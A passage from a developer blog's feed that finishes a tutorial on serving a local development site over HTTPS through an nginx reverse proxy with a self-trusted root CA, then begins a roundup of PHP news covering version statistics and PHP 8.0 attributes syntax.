        &lt;span class=&quot;kn&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;301&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$host$request_uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# the rest of your nginx configuration&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While in dev, it will look very similar:&lt;/p&gt;

&lt;div class=&quot;language-nginx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;server_name&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# the rest of your nginx configuration&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But now, add a reverse proxy to our dev configuration to handle the HTTPS connection:&lt;/p&gt;

&lt;div class=&quot;language-nginx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;server_name&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$http_x_forwarded_proto&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http&quot;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;301&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$host$request_uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# the rest of your nginx configuration&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;server_name&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sunfish.local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;ssl_certificate&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/etc/ssl/certs/example.com.crt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;ssl_certificate_key&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/etc/ssl/private/certificates.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;kn&quot;&gt;proxy_pass&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://localhost&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# Pass through the existing Host header, otherwise the application will &lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# think it's accessed via localhost&lt;/span&gt;
      &lt;span class=&quot;kn&quot;&gt;proxy_set_header&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Host&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# Set the same X-Forwarded-* headers that an AWS load balancer sets&lt;/span&gt;
      &lt;span class=&quot;kn&quot;&gt;proxy_set_header&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;X-Forwarded-For&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kn&quot;&gt;proxy_set_header&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;X-Forwarded-Proto&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kn&quot;&gt;proxy_set_header&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;X-forwarded-Port&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$server_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you can access your development environment over HTTPS, however your certificate will not be 
trusted. You can tell Chrome/Firefox to ignore this, however it’s harder to make other tools ignore
it without completely disabling SSL verification.&lt;/p&gt;

&lt;h2 id=&quot;trusting-your-root-ca&quot;&gt;Trusting your root CA&lt;/h2&gt;

&lt;p&gt;On your system, you need to install the generated root CA certificate as a trusted certificate.
As mentioned in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_root_cert_and_key.sh&lt;/code&gt; script above, you can do that with the following
commands. Be sure to do this on all systems that need to access the development environment, this
may include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;your physical dev computer&lt;/li&gt;
  &lt;li&gt;the virtual machine/container your application runs in&lt;/li&gt;
  &lt;li&gt;all of the above for each developer on your team&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Mac:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;security add-trusted-cert &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; trustRoot &lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; /Library/Keychains/System.keychain rootCA.pem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For Arch:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;trust anchor &lt;span class=&quot;nt&quot;&gt;--store&lt;/span&gt; rootCA.pem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For Ubuntu:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# It's important to give the certificate the .crt extension here&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# otherwise it will not be picked up by `update-ca-certificates`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo cp &lt;/span&gt;rootCA.pem /usr/local/share/ca-certificates/myRootCA.crt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;update-ca-certificates
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Now you can successfully access your local development environment over HTTPS without any warnings
from any tools, and your dev environment is one step closer to production!&lt;/p&gt;

&lt;h2 id=&quot;links-that-helped-me&quot;&gt;Links that helped me&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/43666288/1393498&quot;&gt;StackOverflow answer providing the scripts above&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/x-forwarded-headers.html&quot;&gt;AWS load balancer headers documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/datadriveninvestor/nginx-server-ssl-setup-on-aws-ec2-linux-b6bb454e2ef2&quot;&gt;Setting up an nginx load balancer in AWS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://plone.lucidsolutions.co.nz/web/reverseproxyandcache/setting-nginx-http-x-forward-headers-for-reverse-proxy&quot;&gt;Setting X-Forwarded-* headers on nginx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/index.php/User:Grawity/Adding_a_trusted_CA_certificate&quot;&gt;Adding a trusted CA in Arch Linux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://askubuntu.com/questions/73287/how-do-i-install-a-root-certificate&quot;&gt;Adding a trusted CA in Ubuntu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/michael_timbs&quot;&gt;@michael_timbs&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/patrickdorival&quot;&gt;@patrickdorival&lt;/a&gt; from the
&lt;a href=&quot;https://phpaustralia.org/&quot;&gt;PHP Australia Community&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="nginx" /><category term="aws" /><category term="nginx" /><category term="local" /><category term="development" /><summary type="html">A typical production web application is set up behind a load balancer, with the SSL connection terminating at the load balancer. The web server then has an nginx reverse proxy accepting a plain HTTP connection and proxying through to the application.</summary></entry><entry><title type="html">What’s new in PHP land? - Q2 2020</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q2-2020" rel="alternate" type="text/html" title="What’s new in PHP land? - Q2 2020" /><published>2020-06-30T00:00:00+10:00</published><updated>2020-06-30T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q2-2020</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q2-2020">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
Recently, we’ve had an absolute ton of progress on PHP 8.0.&lt;/p&gt;

&lt;p&gt;In fact, there has been so much progress on PHP 8.0 that I am under
no illusions on how the PHP core team kept entertained during COVID-19
lockdows! I’ve selected my favourite and most important changes for this 
post.&lt;/p&gt;

&lt;h2 id=&quot;php&quot;&gt;PHP&lt;/h2&gt;

&lt;p&gt;Jordi Boggiano released the latest &lt;a href=&quot;https://blog.packagist.com/php-versions-stats-2020-1-edition/&quot;&gt;PHP Version Stats&lt;/a&gt;
back in May.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-version-stats-2020-01.png&quot; alt=&quot;PHP Version Usage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The main change here has been a 14% uptick in PHP 7.4 usage, with most of that
coming out of the 7.2 and 7.3 usage as of November last year.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-versions-over-time-2020-01.png&quot; alt=&quot;PHP Versions Over Time&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Backing this statement up, we can see that 7.0 has less usage than 5.6 but only just.
The good news is that 5.6 usage is still trending downward, albeit very slowly.&lt;/p&gt;

&lt;h3 id=&quot;php-80&quot;&gt;PHP 8.0&lt;/h3&gt;

&lt;p&gt;It appears that PHP core developers kept themselves entertained during COVID 
isolation by pushing forward on PHP 8.0. Back in March there was only a handful
of implemented features but now the list is huge and it’s still growing.&lt;/p&gt;

&lt;p&gt;We have a release date of November 26! The first alpha version is already out
and the feature freeze comes in on August 4.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php8-release.png&quot; alt=&quot;PHP 8.0 Release Schedule&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;attributes&quot;&gt;Attributes&lt;/h4&gt;
&lt;p&gt;The accepted &lt;a href=&quot;https://wiki.php.net/rfc/attributes_v2&quot;&gt;RFC&lt;/a&gt; and another accepted
&lt;a href=&quot;https://wiki.php.net/rfc/attribute_amendments&quot;&gt;RFC proposing ammendments&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You might know these by another name, “Annotations”. We currently have a widely
used third-party implementation: Doctrine Annotations. For this reason, it’s been
decided to use the name “Attributes” to avoid conflicts.&lt;/p&gt;

&lt;p&gt;The good news is, we finally have Attributes baked into the language and we don’t
have to use docblocks to execute code! You can define an attribute in many places
including classes, methods, properties, parameters and more.&lt;/p&gt;

&lt;p&gt;Attributes have the following syntax:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ExampleAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ExampleAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;FOO&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'foo'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ExampleAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ExampleAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ExampleAttribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A more concrete and recognisable example is a Doctrine entity:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Doctrine\ORM\Attributes&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ORM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Validator\Constraints&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ORM\Entity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ORM\Id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\Column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;integer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ORM\GeneratedValue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\Column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ORM\Column&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Assert\Email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;message&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;The email '' is not a valid email.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\ManyToMany&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Phonenumber&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\JoinTable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;users_phonenumbers&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\JoinColumn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ORM\InverseJoinColumn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;phonenumber_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;JoinColumn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$phonenumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Attributes are PHP classes with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&amp;lt;Attribute&amp;gt;&amp;gt;&lt;/code&gt; attribute:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Doctrine\ORM\Attributes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Attribute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Column&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Shortly after the &lt;a href=&quot;https://wiki.php.net/rfc/attributes_v2&quot;&gt;Attributes RFC&lt;/a&gt;
was accepted, an &lt;a href=&quot;https://wiki.php.net/rfc/attribute_amendments&quot;&gt;ammendments RFC&lt;/a&gt;
was proposed and accepted which allows Attributes to be grouped:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Ungrouped&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Attr1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Attr2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Example&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Attr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Attr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
